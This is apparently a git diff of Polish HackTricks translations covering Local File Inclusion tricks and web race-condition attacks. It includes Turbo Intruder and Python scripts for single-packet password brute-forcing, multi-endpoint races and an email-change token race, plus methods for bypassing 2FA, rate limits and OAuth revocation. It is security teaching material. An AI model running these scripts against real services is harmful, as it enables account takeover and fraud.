Jeśli znalazłeś **Local File Inclusion** i możesz exfiltrate the path pliku tymczasowego, ALE **serwer** sprawdza, czy **plik do załączenia ma oznaczenia PHP**, możesz spróbować obejść tę kontrolę przy użyciu tej **Race Condition**: Jeśli znalazłeś **Local File Inclusion** i możesz **exfiltrate the path** pliku tymczasowego, ALE **server** **checking**, czy **file to be included has PHP marks**, możesz spróbować **bypass that check** używając tej **Race Condition**:
{{#ref}} {{#ref}}
@ -648,7 +648,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### Przez eternal waiting + bruteforce ### Przez eternal waiting + bruteforce
Jeśli możesz nadużyć LFI, aby upload temporary files i spowodować, że serwer zawiesi wykonanie PHP (hang), możesz następnie brute force nazwy plików przez godziny, aby znaleźć plik tymczasowy: Jeśli możesz wykorzystać LFI do **upload temporary files** i sprawić, że **server** **hang** wykonanie PHP, możesz wtedy przez wiele godzin **brute force filenames** żeby znaleźć plik tymczasowy:
{{#ref}} {{#ref}}
@ -657,15 +657,15 @@ lfi2rce-via-eternal-waiting.md
### Do Fatal Error ### Do Fatal Error
Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam 2 time, aby wywołać ten błąd). Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd).
**Nie wiem, jak to jest przydatne, ale może być.**\ **Nie wiem, jak to może być przydatne, ale może być.**\
_Nawet jeśli spowodujesz PHP Fatal Error, PHP temporary files uploaded są usuwane._ _Nawet jeśli spowodujesz PHP Fatal Error, przesłane tymczasowe pliki PHP zostaną usunięte._
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
## Referencje ## References
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal) - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders) - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

View File

@ -5,54 +5,54 @@
> [!WARNING] > [!WARNING]
> Aby uzyskać dogłębne zrozumienie tej techniki, sprawdź oryginalny raport pod adresem [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine) > Aby uzyskać dogłębne zrozumienie tej techniki, sprawdź oryginalny raport pod adresem [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
## Ulepszanie ataków Race Condition ## Enhancing Race Condition Attacks
Główną przeszkodą w wykorzystaniu race condition jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania — najlepiej poniżej 1ms**. Główną przeszkodą w wykorzystaniu race condition jest zapewnienie, że wiele żądań jest obsługiwanych jednocześnie, z **bardzo małą różnicą w czasie ich przetwarzania — najlepiej mniejszą niż 1ms**.
Poniżej znajdziesz kilka technik synchronizacji żądań: Poniżej znajdują się techniki synchronizacji żądań:
#### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization #### HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization
- **HTTP/2**: Pozwala wysyłać dwa żądania przez jedno połączenie TCP, zmniejszając wpływ jittera sieciowego. Jednak ze względu na różnice po stronie serwera, dwa żądania mogą nie wystarczyć do stabilnego wykorzystania race condition. - **HTTP/2**: Umożliwia wysłanie dwóch żądań przez jedno połączenie TCP, zmniejszając wpływ jittera sieciowego. Jednak z powodu różnic po stronie serwera dwa żądania mogą nie wystarczyć do konsekwentnego exploita race condition.
- **HTTP/1.1 'Last-Byte Sync'**: Umożliwia wstępne wysłanie większości części 2030 żądań, wstrzymując mały fragment, który następnie jest wysyłany razem, co pozwala na jednoczesne dotarcie do serwera. - **HTTP/1.1 'Last-Byte Sync'**: Pozwala na wcześniejsze wysłanie większości części 2030 żądań, wstrzymując mały fragment, który następnie jest wysyłany jednocześnie, osiągając równoczesne dotarcie do serwera.
**Przygotowanie do Last-Byte Sync** obejmuje: **Preparation for Last-Byte Sync** obejmuje:
1. Wysłanie nagłówków i danych body z pominięciem ostatniego bajtu bez zamykania strumienia. 1. Wysyłanie nagłówków i danych body z pominięciem ostatniego bajtu bez zamykania strumienia.
2. Wstrzymanie na 100ms po wysłaniu początkowym. 2. Pauza 100ms po wstępnym wysłaniu.
3. Wyłączenie TCP_NODELAY, aby wykorzystać algorytm Nagle'a do grupowania ostatnich ramek. 3. Wyłączenie TCP_NODELAY, aby wykorzystać Nagle's algorithm do grupowania końcowych ramek.
4. Pingowanie, aby rozgrzać połączenie. 4. Pingowanie w celu rozgrzania połączenia.
Późniejsze wysłanie wstrzymanych ramek powinno spowodować ich dotarcie w jednej paczce, co można zweryfikować przez Wireshark. Metoda ta nie ma zastosowania do plików statycznych, które zwykle nie biorą udziału w atakach RC. Następne wysłanie wstrzymanych ramek powinno spowodować ich dotarcie w jednej paczce, co można zweryfikować za pomocą Wireshark. Ta metoda nie ma zastosowania do plików statycznych, które zazwyczaj nie biorą udziału w RC attacks.
### Dostosowywanie do architektury serwera ### Adapting to Server Architecture
Zrozumienie architektury celu jest kluczowe. Serwery front-end mogą kierować żądania w różny sposób, co wpływa na timing. Wstępne rozgrzewanie połączeń po stronie serwera poprzez nieistotne żądania może ujednolicić czasy przetwarzania żądań. Zrozumienie architektury celu jest kluczowe. Front-end serwery mogą kierować żądania w różny sposób, co wpływa na opóźnienia. Prewencyjne rozgrzewanie połączeń po stronie serwera, przez nieistotne żądania, może znormalizować czasy odpowiedzi.
#### Obsługa blokowania opartego na sesji #### Handling Session-Based Locking
Frameworki takie jak PHP's session handler serializują żądania według sesji, co może ukrywać podatności. Użycie różnych tokenów sesji dla każdego żądania może obejść ten problem. Frameworki takie jak PHP's session handler serializują żądania według sesji, co może ukrywać podatności. Użycie różnych tokenów sesji dla każdego żądania może obejść ten problem.
#### Pokonywanie limitów szybkości lub zasobów #### Overcoming Rate or Resource Limits
Jeśli rozgrzewanie połączeń jest nieskuteczne, wywołanie opóźnień po stronie serwera poprzez zalew fałszywymi żądaniami może ułatwić single-packet attack, wywołując serwerowe opóźnienia sprzyjające race condition. Jeśli rozgrzewanie połączenia jest nieskuteczne, celowe wywołanie opóźnień związanych z limitami szybkości lub zasobów serwerów WWW poprzez zalanie ich żądaniami wypełniającymi może ułatwić single-packet attack, wywołując po stronie serwera opóźnienie sprzyjające race condition.
## Przykłady ataków ## Attack Examples
- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Możesz wysłać żądanie do **Turbo Intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brute-force'ować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` a następnie wybrać **`examples/race-single-packer-attack.py`** z rozwijanego menu: - **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: Możesz wysłać żądanie do **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), możesz zmienić w żądaniu wartość, którą chcesz brute-force'ować dla **`%s`** jak w `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` i następnie wybrać **`examples/race-single-packer-attack.py`** z rozwijanego menu:
<figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (57).png" alt=""><figcaption></figcaption></figure>
Jeśli zamierzasz wysyłać różne wartości, możesz zmodyfikować kod tym, który używa wordlisty ze schowka: Jeśli zamierzasz **wysyłać różne wartości**, możesz zmodyfikować kod tym, który używa wordlisty ze schowka:
```python ```python
passwords = wordlists.clipboard passwords = wordlists.clipboard
for password in passwords: for password in passwords:
engine.queue(target.req, password, gate='race1') engine.queue(target.req, password, gate='race1')
``` ```
> [!WARNING] > [!WARNING]
> Jeśli serwis WWW nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`. > Jeśli strona nie obsługuje HTTP2 (tylko HTTP1.1), użyj `Engine.THREADED` lub `Engine.BURP` zamiast `Engine.BURP2`.
- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: W przypadku, gdy musisz wysłać żądanie do 1 endpointu, a następnie kilka do innych endpointów, aby wywołać RCE, możesz zmienić skrypt `race-single-packet-attack.py` na coś takiego: - **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: W przypadku gdy musisz wysłać request do 1 endpoint i następnie wiele do innych endpointów, aby wywołać RCE, możesz zmienić skrypt `race-single-packet-attack.py` na coś takiego:
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, engine = RequestEngine(endpoint=target.endpoint,
@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt # send all the queued requests for this attempt
engine.openGate(currentAttempt) engine.openGate(currentAttempt)
``` ```
- Jest to także dostępne w **Repeater** przez nową opcję '**Send group in parallel**' w Burp Suite. - Jest to też dostępne w **Repeater** poprzez nową opcję '**Send group in parallel**' w Burp Suite.
- Dla **limit-overrun** możesz po prostu dodać do grupy **to samo request 50 razy**. - Dla **limit-overrun** możesz po prostu dodać **ten sam request 50 razy** do grupy.
- Dla **connection warming** możesz **dodać** na **początku** **grupy** kilka **requests** do niestatycznej części serwera WWW. - Dla **connection warming** możesz **dodać** na **początku** **grupy** kilka **requests** do jakiejś niestatycznej części serwera WWW.
- Aby **opóźnić** proces **między** przetwarzaniem **jednego requesta i drugiego** w procesie z 2 substates, możesz **dodać dodatkowe requests pomiędzy** tymi żądaniami. - Dla **delaying** procesu **pomiędzy** przetwarzaniem **jednego requesta i drugiego** w kroku z 2 substates, możesz **dodać dodatkowe requests pomiędzy** tymi requestami.
- Dla **multi-endpoint** RC możesz zacząć wysyłać **request**, który **przechodzi do ukrytego stanu**, a następnie **50 requests** zaraz po nim, które **wykorzystują ukryty stan**. - Dla **multi-endpoint** RC możesz zacząć wysyłać **request**, który **przechodzi do ukrytego stanu**, a następnie bezpośrednio po nim wysłać **50 requests**, które **wykorzystują ukryty stan**.
<figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure> <figure><img src="../images/image (58).png" alt=""><figcaption></figcaption></figure>
- **Automated python script**: Celem tego skryptu jest zmiana adresu email użytkownika przy jednoczesnym ciągłym sprawdzaniu, aż token weryfikacyjny nowego adresu dotrze na ostatni email (to dlatego, że w kodzie występował RC, w którym możliwe było zmodyfikowanie emaila, ale wysłanie weryfikacji na stary adres, ponieważ zmienna wskazująca email była już wypełniona pierwszym adresem).\ - **Automated python script**: Celem tego skryptu jest zmiana emaila użytkownika przy jednoczesnym ciągłym sprawdzaniu aż token weryfikacyjny nowego emaila dotrze na ostatni email (to dlatego, że w kodzie występował RC, w którym można było zmodyfikować email, ale weryfikacja była wysyłana na stary adres, ponieważ zmienna wskazująca email była już wypełniona pierwszym adresem).\
Gdy w odebranych wiadomościach znajduje się słowo "objetivo", wiemy, że otrzymaliśmy token weryfikacyjny zmienionego adresu i kończymy atak. Kiedy w otrzymanych mailach znajdziemy słowo "objetivo", wiemy, że otrzymaliśmy token weryfikacyjny zmienionego emaila i kończymy atak.
```python ```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun # https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge # Script from victor to solve a HTB challenge
@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False) response = requests.get(url, verify=False)
``` ```
### Ulepszanie Single Packet Attack #### Turbo Intruder: uwagi dotyczące silnika i gate'owania
W oryginalnym badaniu wyjaśniono, że atak ma ograniczenie do 1,500 bajtów. Jednak w [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/) opisano, jak można rozszerzyć ograniczenie 1,500 bajtów single packet attack do **ograniczenia okna TCP 65,535 B poprzez użycie fragmentacji na warstwie IP** (podział pojedynczego pakietu na wiele pakietów IP) i wysyłanie ich w innej kolejności, co zapobiega ponownemu złożeniu pakietu, dopóki wszystkie fragmenty nie dotrą do serwera. Technika ta pozwoliła badaczowi wysłać 10,000 żądań w około 166 ms. - Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the singlepacket attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 lastbyte sync.
- `gate`/`openGate`: kolejkuj wiele kopii z `gate='race1'` (lub gate'ami na próbę), które wstrzymują tail każdego requestu; `openGate('race1')` flushuje wszystkie taile razem, dzięki czemu docierają niemal jednocześnie.
- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
- Connection warming: wyślij najpierw ping lub kilka nieszkodliwych requestów, aby ustabilizować timingi; opcjonalnie wyłącz `TCP_NODELAY`, aby zachęcić do batchingu finalnych frames.
Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w przypadku RC, które wymaga, aby setki/tysiące pakietów dotarły jednocześnie, może też mieć pewne ograniczenia programowe. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają restrykcyjne ustawienie `SETTINGS_MAX_CONCURRENT_STREAMS` na 100, 128 i 250. Jednak inne, takie jak NodeJS i nghttp2, mają je nieograniczone.\
To zasadniczo oznacza, że Apache będzie brać pod uwagę tylko 100 połączeń HTTP z jednego połączenia TCP (ograniczając ten atak RC).
Przykłady użycia tej techniki można znaleźć w repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main). ### Improving Single Packet Attack
In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
Zauważ, że chociaż to ulepszenie sprawia, że atak jest bardziej niezawodny w przypadkach RC wymagających setek/tysięcy pakietów docierających jednocześnie, może też napotkać ograniczenia po stronie oprogramowania. Niektóre popularne serwery HTTP, takie jak Apache, Nginx i Go, mają ścisłe ustawienie `SETTINGS_MAX_CONCURRENT_STREAMS` ustawione na 100, 128 i 250. Jednak inne, jak NodeJS i nghttp2, mają je nieograniczone.\
To zasadniczo oznacza, że Apache będzie rozważać tylko 100 HTTP connections z pojedynczego TCP connection (ograniczając ten RC attack).
You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF ## Raw BF
Przed wcześniejszymi badaniami używano następujących payloadów, które po prostu próbowały wysyłać pakiety jak najszybciej, aby wywołać RC. Przed powyższym badaniem używano następujących payloadów, które po prostu próbowały wysyłać pakiety tak szybko, jak to możliwe, aby wywołać RC.
- **Repeater:** Check the examples from the previous section. - **Repeater:** Sprawdź przykłady z poprzedniej sekcji.
- **Intruder**: Wyślij **request** do **Intruder**, ustaw **number of threads** na **30** w **Options menu**, wybierz jako payload **Null payloads** i wygeneruj **30**. - **Intruder**: Wyślij **request** do **Intruder**, ustaw **number of threads** na **30** w **Options menu**, wybierz jako payload **Null payloads** i wygeneruj **30.**
- **Turbo Intruder** - **Turbo Intruder**
```python ```python
def queueRequests(target, wordlists): def queueRequests(target, wordlists):
@ -281,73 +289,73 @@ asyncio.run(main())
``` ```
## **Metodologia RC** ## **Metodologia RC**
### Limit-overrun / TOCTOU ### Przekroczenie limitu / TOCTOU
To najprostszy typ race condition, gdzie **vulnerabilities** pojawiają się w miejscach, które **ograniczają liczbę razy, w których możesz wykonać daną akcję**. Na przykład użycie tego samego kodu rabatowego w sklepie internetowym wielokrotnie. Bardzo prosty przykład można znaleźć w [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**this bug**](https://hackerone.com/reports/759247)**.** To najprostszy typ race condition, gdzie **podatności** pojawiają się w miejscach, które **ograniczają liczbę razy, kiedy można wykonać jakieś działanie**. Na przykład użycie tego samego kodu rabatowego w sklepie internetowym kilka razy. Bardzo prosty przykład można znaleźć w [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) lub w [**this bug**](https://hackerone.com/reports/759247)**.**
Istnieje wiele wariantów tego rodzaju ataku, w tym: Istnieje wiele wariantów tego typu ataku, w tym:
- Wykorzystanie karty podarunkowej wielokrotnie - Wykorzystanie karty podarunkowej wielokrotnie
- Ocena produktu wielokrotnie - Ocenianie produktu wielokrotnie
- Wypłata lub przelanie środków przekraczających saldo konta - Wypłata lub przelew środków przekraczających saldo konta
- Ponowne użycie jednego rozwiązania CAPTCHA - Ponowne użycie pojedynczego rozwiązania CAPTCHA
- Omijanie anti-brute-force rate limit - Omijanie limitu anty-brute-force
### **Ukryte podstany** ### **Ukryte podstany**
Wykorzystywanie złożonych race condition często polega na wykorzystaniu krótkich okien czasowych do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść: Wykorzystywanie złożonych race condition często polega na wykorzystaniu krótkich okien czasu do interakcji z ukrytymi lub **niezamierzonymi podstanami maszyny**. Oto jak do tego podejść:
1. **Zidentyfikuj potencjalne ukryte podstany** 1. **Zidentyfikuj potencjalne ukryte podstany**
- Zacznij od zlokalizowania endpoints, które modyfikują lub wchodzą w interakcję z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skup się na: - Zacznij od zlokalizowania endpoints, które modyfikują lub wchodzą w interakcję z krytycznymi danymi, takimi jak profile użytkowników lub procesy resetowania hasła. Skoncentruj się na:
- **Storage**: Preferuj endpoints, które manipulują trwałymi danymi po stronie serwera zamiast tych, które obsługują dane po stronie klienta. - **Storage**: Preferuj endpointy, które manipulują trwałymi danymi po stronie serwera zamiast tych obsługujących dane po stronie klienta.
- **Action**: Szukaj operacji, które zmieniają istniejące dane — mają większe szanse stworzyć warunki podatne na exploit w porównaniu z tymi, które dodają nowe dane. - **Action**: Szukaj operacji, które zmieniają istniejące dane — są one bardziej prawdopodobne do stworzenia warunków podatnych niż operacje dodające nowe dane.
- **Keying**: Udane ataki zazwyczaj dotyczą operacji kluczowanych tym samym identyfikatorem, np. username lub reset token. - **Keying**: Udane ataki zwykle dotyczą operacji opartych na tym samym identyfikatorze, np. nazwa użytkownika lub token resetu.
2. **Przeprowadź wstępne sondowanie** 2. **Przeprowadź wstępne sondowanie**
- Testuj zidentyfikowane endpoints pod kątem race condition, obserwując odchylenia od oczekiwanych wyników. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność. - Przetestuj zidentyfikowane endpoints przy użyciu ataków race condition, obserwując wszelkie odchylenia od oczekiwanych rezultatów. Nieoczekiwane odpowiedzi lub zmiany w zachowaniu aplikacji mogą wskazywać na podatność.
3. **Zademonstruj podatność** 3. **Zademonstruj podatność**
- Zredukuj atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często są to zaledwie dwa. Ten krok może wymagać wielu prób lub automatyzacji z powodu precyzyjnego timingu. - Zawęź atak do minimalnej liczby żądań potrzebnych do wykorzystania podatności, często zaledwie dwóch. Ten krok może wymagać wielu prób lub automatyzacji ze względu na precyzyjne wyrównanie czasowe.
### Time Sensitive Attacks ### Ataki wrażliwe na czas
Precyzja w timingu żądań może ujawnić podatności, szczególnie gdy do tokenów bezpieczeństwa używa się przewidywalnych metod jak timestamps. Na przykład generowanie password reset tokenów na podstawie timestamps może skutkować identycznymi tokenami dla równoczesnych żądań. Precyzja w synchronizacji żądań może ujawnić podatności, zwłaszcza gdy do generowania tokenów bezpieczeństwa używane są przewidywalne metody, takie jak timestamps. Na przykład generowanie tokenów resetu hasła w oparciu o timestamps może pozwolić na identyczne tokeny dla jednoczesnych żądań.
**Aby wykorzystać:** **Aby wykorzystać:**
- Użyj precyzyjnego timingu, np. ataku pojedynczym pakietem, by wysłać równoległe password reset requests. Identyczne tokeny wskazują na podatność. - Użyj precyzyjnego timingu, np. single packet attack, aby wykonać równoczesne żądania resetu hasła. Identyczne tokeny wskazują na podatność.
**Przykład:** **Przykład:**
- Zażądaj jednocześnie dwóch password reset tokens i porównaj je. Pasujące tokeny sugerują błąd w generowaniu tokenów. - Zażądaj dwóch tokenów resetu hasła w tym samym czasie i porównaj je. Zgodne tokeny sugerują wadę w generowaniu tokenów.
**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **aby to wypróbować.** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
## Studia przypadków ukrytych podstanów ## Studium przypadków ukrytych podstanów
### Zapłać i dodaj przedmiot ### Zapłać i dodaj przedmiot
Sprawdź ten [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) aby zobaczyć, jak **zapłacić** w sklepie i **dodać dodatkowy** przedmiot, za który **nie będziesz musiał zapłacić**. Check this [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) to see how to **pay** in a store and **add an extra** item you that **won't need to pay for it**.
### Potwierdź inne adresy email ### Potwierdź inne adresy e-mail
Chodzi o to, by **zweryfikować adres email i jednocześnie zmienić go na inny**, aby sprawdzić, czy platforma weryfikuje nowo zmieniony adres. Idea polega na **zweryfikowaniu adresu e-mail i jednoczesnej zmianie go na inny** aby sprawdzić, czy platforma weryfikuje nowy adres.
### Zmień email na 2 adresy email (Cookie based) ### Zmiana adresu e-mail na 2 adresy (oparte na cookie)
Zgodnie z [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab był podatny na takeover w ten sposób, ponieważ mógł **wysłać** **email verification token jednego adresu email na inny adres email**. According to [**this research**](https://portswigger.net/research/smashing-the-state-machine) Gitlab was vulnerable to a takeover this way because it might **send** the **email verification token of one email to the other email**.
**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **aby to wypróbować.** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
### Ukryte stany bazy danych / Ominięcie potwierdzenia ### Ukryte stany bazy danych / Obejście potwierdzenia
Jeśli **2 różne zapisy** są używane do **dodania** **informacji** w **database**, istnieje krótki okres, w którym **tylko pierwsze dane zostały zapisane** w database. Na przykład przy tworzeniu użytkownika **username** i **password** mogą zostać najpierw **zapisane**, a dopiero potem zapisany zostaje **token** do potwierdzenia nowo utworzonego konta. Oznacza to, że przez krótki czas **token do potwierdzenia konta jest null**. Jeśli **2 różne zapisy** są używane do **dodania** **informacji** do **bazy danych**, istnieje niewielki okres czasu, w którym **tylko pierwsze dane zostały zapisane** w bazie danych. Na przykład podczas tworzenia użytkownika **nazwa użytkownika** i **hasło** mogą zostać **zapisane**, a **następnie token** do potwierdzenia nowo utworzonego konta zostaje zapisany później. To oznacza, że przez krótki czas **token do potwierdzenia konta jest null**.
W związku z tym **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inną wariacją) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego nie kontrolujesz emaila. Dlatego **zarejestrowanie konta i wysłanie kilku żądań z pustym tokenem** (`token=` lub `token[]=` lub inną odmianą) w celu natychmiastowego potwierdzenia konta może pozwolić na **potwierdzenie konta**, którego adresu e-mail nie kontrolujesz.
**Sprawdź ten** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **aby to wypróbować.** **Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
### Ominięcie 2FA ### Ominięcie 2FA
Poniższy pseudo-code jest podatny na race condition, ponieważ przez bardzo krótki czas **2FA nie jest egzekwowane**, podczas gdy session jest tworzona: Następujący pseudo-kod jest podatny na race condition, ponieważ w bardzo krótkim czasie **2FA nie jest wymuszane** podczas tworzenia sesji:
```python ```python
session['userid'] = user.userid session['userid'] = user.userid
if user.mfa_enabled: if user.mfa_enabled:
@ -355,23 +363,22 @@ session['enforce_mfa'] = True
# generate and send MFA code to user # generate and send MFA code to user
# redirect browser to MFA code entry form # redirect browser to MFA code entry form
``` ```
### OAuth2 wieczna persystencja ### OAuth2 — trwała persystencja
Istnieje kilka [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Te usługi pozwalają na utworzenie aplikacji i uwierzytelnienie użytkowników zarejestrowanych przez dostawcę. W tym celu **client** will need to **permit your application** to access some of their data inside of the **OAUth provider**.\ There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Te usługi pozwalają utworzyć aplikację i uwierzytelnić użytkowników zarejestrowanych przez dostawcę. Aby to zrobić, **client** będzie musiał **permit your application** aby uzyskać dostęp do części swoich danych w obrębie **OAUth provider**.\ Czyli do tej pory to zwykłe logowanie przez google/linkedin/github..., gdzie zobaczysz stronę z komunikatem: _Aplikacja \<InsertCoolName> chce uzyskać dostęp do Twoich informacji, czy chcesz na to pozwolić?_
Do tego momentu to zwykłe logowanie przez google/linkedin/github... gdzie pojawia się strona z komunikatem: "_Application \<InsertCoolName> wants to access you information, do you want to allow it?_"
#### Race Condition in `authorization_code` #### Race Condition in `authorization_code`
The **problem** appears when you **accept it** and automatically sends an **`authorization_code`** to the malicious application. Then, this **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** for your account. Basically, it will abuse the fact that you have accept the application to access your data to **create several accounts**. Then, if you **stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**. Problem pojawia się, gdy **zaakceptujesz to** i automatycznie wysyłany jest **`authorization_code`** do złośliwej aplikacji. Następnie ta **aplikacja nadużywa Race Condition w OAUth service provider, aby wygenerować więcej niż jedną parę AT/RT** (_Authentication Token/Refresh Token_) z **`authorization_code`** dla Twojego konta. W praktyce wykorzystuje fakt, że zgodziłeś się na dostęp aplikacji do Twoich danych, aby **utworzyć kilka kont**. Jeśli później **przestaniesz zezwalać aplikacji na dostęp do swoich danych, jedna para AT/RT zostanie usunięta, ale pozostałe nadal będą ważne.**
#### Race Condition in `Refresh Token` #### Race Condition in `Refresh Token`
Once you have **obtained a valid RT** you could try to **abuse it to generate several AT/RT** and **even if the user cancels the permissions** for the malicious application to access his data, **several RTs will still be valid.** Gdy uzyskasz **ważny RT**, możesz spróbować **nadużyć go, aby wygenerować kilka par AT/RT**, i **nawet jeśli użytkownik cofnie uprawnienia** dla złośliwej aplikacji, **wiele RT nadal będzie ważnych.**
## **RC in WebSockets** ## **RC in WebSockets**
- In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) you can find a PoC in Java to send websocket messages in **parallel** to abuse **Race Conditions also in Web Sockets**. - In [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) znajdziesz PoC w Javie wysyłający komunikaty websocket **równolegle**, aby nadużyć **Race Conditions** także w Web Sockets.
- With Burps WebSocket Turbo Intruder you can use the **THREADED** engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune `config()` (thread count) for concurrency; this is often more reliable than batching on a single connection when racing serverside state across WS handlers. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py). - With Burps WebSocket Turbo Intruder możesz użyć silnika **THREADED**, aby uruchomić wiele połączeń WS i wysyłać payloads równolegle. Zacznij od oficjalnego przykładu i dostrój `config()` (liczba wątków) pod kątem współbieżności; często jest to bardziej niezawodne niż batchowanie na jednym połączeniu przy wyścigu stanu po stronie serwera pomiędzy handlerami WS. See [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py).
## References ## References

View File

@ -1,21 +1,21 @@
# Wartości HackTricks i FAQ # Wartości HackTricks & FAQ
{{#include ../banners/hacktricks-training.md}} {{#include ../banners/hacktricks-training.md}}
## Wartości HackTricks ## Wartości HackTricks
> [!TIP] > [!TIP]
> To są **wartości Projektu HackTricks**: > Oto **wartości projektu HackTricks**:
> >
> - Zapewnić **FREE** dostęp do **EDUCATIONAL hacking** zasobów dla **ALL** Internetu. > - Zapewnić **darmowy** dostęp do **edukacyjnych hacking** zasobów dla **całego** Internetu.
> - Hacking polega na nauce, a nauka powinna być możliwie jak najbardziej darmowa. > - Hacking polega na uczeniu się, a nauka powinna być możliwie jak najbardziej bezpłatna.
